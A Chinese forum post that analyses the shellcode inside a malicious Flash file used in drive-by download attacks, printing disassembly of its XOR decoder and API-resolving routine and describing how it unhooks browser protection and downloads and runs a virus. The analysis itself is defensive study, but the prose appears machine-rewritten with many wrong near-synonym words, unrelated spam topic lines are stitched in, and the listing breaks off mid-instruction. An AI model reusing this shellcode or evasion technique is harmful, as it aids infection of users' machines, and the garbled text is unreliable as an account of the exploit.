- 注册时间
- 2011-10-23
- 最后登录
- 2011-10-31
- 阅读权限
- 30
- 积分
- 445
- 精华
- 0
- 帖子
- 146
 
升级   81.67%
|
相关的主题文章:
付出跟回报之间有时完整不关联
还说是啥子新产的牌子
对应部品与本技巧情报书同时发出
使婢差奴过毕生
游到了湖心你欢乐地蹦跳
目 的: 纯属学习,请勿用于歹意用处 最近几天flash漏洞的网马十分风行,于是我想分析一下shellcode是怎么跑的。
但是才能所限,还难以像大牛们一样定位到有漏洞的代码及察看整个溢出过程。于是,我只能做后面一局部工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。
我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在文件头偏移 0xEB处开端。之后我将这段shellcode拷贝到一个可执行文件的进口点开头处,这样我就能够在OD里直接调试shellcode了。
调试进程中我发明,因为flash这次的破绽,真的给了一个很富余的空间让编写者纵情地施展他们的shellcode编写才干,我看到了一个比以往任何一个应用ActiveX漏洞的shellcode都要庞杂的shellcode。
该shellcode的功效很全面,岂但有普通shellcode的xor加密,获取API地址跟执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而适用。
这些操作包含:
1. shellcode有效时光限度,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应当是flash网马天生器宣布者所做的,可能出于贸易斟酌,防止别人通过简略修改病毒URL地址而生成本人的利用文件。
2. 从kernel32.dll的输入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址,对这两处地址进行 inline hook,hook到自身保留的相应的原始代码中,并对CreateProcessInternalW的前面多少个字节进行了 inline hook的还原。
这些操作都是针对MAXTHON等使用以上API HOOK方式对旅行器进行执行保存的办法而出台的anti方 式。固然这种办法早已被提出,是大家皆知 的,然而在以前的网马利用中,因为可用的缓冲区并不是那么大,不适于参加这些额定的代码,因而我始终不看到还原hook过阅读器维护方法的实际利用。而 在这次,我终于看到了一个实际利用的例子。
3. 应用CreateProcessInternalA进行最后下载到本机的病毒文件的履行。以前个别的shellcode是用WinExec。
下面是shellcode执行流程的分析,剖析基础在解释当中,标号(1)、(2)……是代码的执行流程次序,按照标号便可轻易懂得全部流程。
首先开始是一次xor解密,每两个字节进行异或,而且每次异或的操作数跟着改变。
00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)循环,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密后的代码
00407018 \E8 E5FFFFFF call 00407002 ; (2)F7
接下来是解密后的实际代码
首先是获得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方式,通过PEB得到kernel32.dll的基址, 而后通过遍历其输出表,把每一函数名称字符串经由一个加密运算,再将成果与输入的值比拟,进而找到合乎的API函数位置。
0040701D E9 65020000 jmp 00407287 ; (6)解密后辈码开头,往下跳到最后
00407022 5F pop edi ; (8)定位本身地址,此时为后面数据区地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)断定是2000的系统仍是XP,我这里是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000体系,则修正下面的数据
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址笼罩掉本来的加密结果
00407054 ^ E2 F9 loopd short 0040704F ; 轮回,直接在下面F4
这里填入的API地址顺次为(以此时绝对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)
0×00 LoadLibraryA
0×04 GetTempPathA
0×08 DeleteFileA
0×0C CreateProcessInternalA
0×10 ExitThread,
0×14 VirtualProtect
0×18 CreateProcessInternalW
0×1C CompareFileTime
0×20 GetSystemTimeAsFileTime
接着搜索内存得到一个“retn”命令地位(实际上不必定是retn命令),用于后面的anti-debug。
00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)循环搜索内存特点,实在是为了借用一个retn代码来转变程序流程反调试
0040705C 8946 30 mov dword ptr [esi+30], eax ; 这里搜索到的是7C801881
再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。
0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 &n |
|